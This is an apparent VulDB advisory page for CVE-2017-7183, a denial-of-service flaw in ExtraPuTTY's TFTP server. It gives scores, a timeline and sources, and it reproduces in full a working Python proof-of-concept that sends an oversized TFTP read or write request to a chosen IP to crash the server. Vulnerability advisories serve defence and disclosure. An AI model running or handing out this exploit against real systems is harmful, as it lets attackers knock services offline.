VDB-98927 · CVE-2017-7183 · EDB 41639

ExtraPuTTY 029_RC2/0.30 r15 tftp input validation

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
6.1	$0-$5k	0.00

Summaryinfo

A vulnerability has been found in ExtraPuTTY 029_RC2/0.30 r15 and classified as problematic. This issue affects some unknown processing of the component tftp. The manipulation leads to input validation. This vulnerability is uniquely identified as CVE-2017-7183. The attack is possible to be carried out remotely. Moreover, an exploit is present.

Detailsinfo

A vulnerability was found in ExtraPuTTY 029_RC2/0.30 r15 (Connectivity Software). It has been rated as problematic. This issue affects an unknown part of the component tftp. The manipulation with an unknown input leads to a input validation vulnerability. Using CWE to declare the problem leads to CWE-20. The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Impacted is availability. The summary by CVE is:

The TFTP server in ExtraPuTTY 0.30 and earlier allows remote attackers to cause a denial of service (crash) via a large (1) read or (2) write TFTP protocol message.

The bug was discovered 03/20/2017. The weakness was disclosed 03/20/2017 by John Page (hyp3rlinx) as CVE-2017-7183 ExtraPuTTY v029_RC2 TFTP Denial Of Service as not defined mailinglist post (Bugtraq). It is possible to read the advisory at seclists.org. The identification of this vulnerability is CVE-2017-7183 since 03/19/2017. The exploitation is known to be easy. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. Technical details are unknown but a public exploit is available.

A public exploit has been developed by John Page and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The code used by the exploit is:

import socket

print "ExtraPuTTY v029_RC2 TFTP Server"
print "Remote Denial Of Service 0day Exploit"
print "John Page AKA hyp3rlinx\n"

TARGET=raw_input("[IP]>")
TYPE=int(raw_input("[Select DOS Type: Read=1, Write=2]>"))
CRASH="A"*2000                     
PORT = 69

if TYPE==1:
    PAYLOAD = "\x00\x01"                                     
    PAYLOAD += CRASH + "\x00"   
    PAYLOAD += "netascii\x00"                                
elif TYPE==2:
    PAYLOAD = "\x00\x02"                                     
    PAYLOAD += CRASH + "\x00"   
    PAYLOAD += "netascii\x00"                                

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto("\x00\x01\TEST\x00\netascii\x00", (TARGET, PORT))
    recv = s.recvfrom(255)
    if recv != None:
        print "Crashing ExtraPuTTY TFTP server at : %s" %(TARGET)
        s.sendto(PAYLOAD, (TARGET, PORT))
except Exception:
        print 'Server not avail, try later'
s.close()

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the databases at Exploit-DB (41639) and SecurityFocus (BID 96973†). Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

Type

Connectivity Software

Name

ExtraPuTTY

Version

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 6.4
VulDB Meta Temp Score: 6.1

VulDB Base Score: 5.3
VulDB Temp Score: 4.8
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 7.5
NVD Vector: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Input validation
CWE: CWE-20
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: John Page
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	Unlock	Unlock	Unlock	Unlock
Today	Unlock	Unlock	Unlock	Unlock

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

03/19/2017 🔍
03/20/2017 +1 days 🔍
03/20/2017 +0 days 🔍
03/20/2017 +0 days 🔍
03/20/2017 +0 days 🔍
03/27/2017 +7 days 🔍
03/28/2017 +1 days 🔍
12/10/2025 +3179 days 🔍

Sourcesinfo

Advisory: CVE-2017-7183 ExtraPuTTY v029_RC2 TFTP Denial Of Service
Researcher: John Page (hyp3rlinx)
Status: Not defined

CVE: CVE-2017-7183 (🔍)
GCVE (CVE): GCVE-0-2017-7183
GCVE (VulDB): GCVE-100-98927
SecurityFocus: 96973 - ExtraPuTTY CVE-2017-7183 Denial of Service Vulnerability
OSVDB: - CVE-2017-7183 - ExtraPuTTY - Denial of Service Issue

scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 03/28/2017 17:50
Updated: 12/10/2025 11:00
Changes: 03/28/2017 17:50 (67), 08/23/2020 10:09 (5), 12/10/2025 11:00 (17)
Complete: 🔍
Cache ID: 216::103

Be aware that VulDB is the high quality source for vulnerability data.

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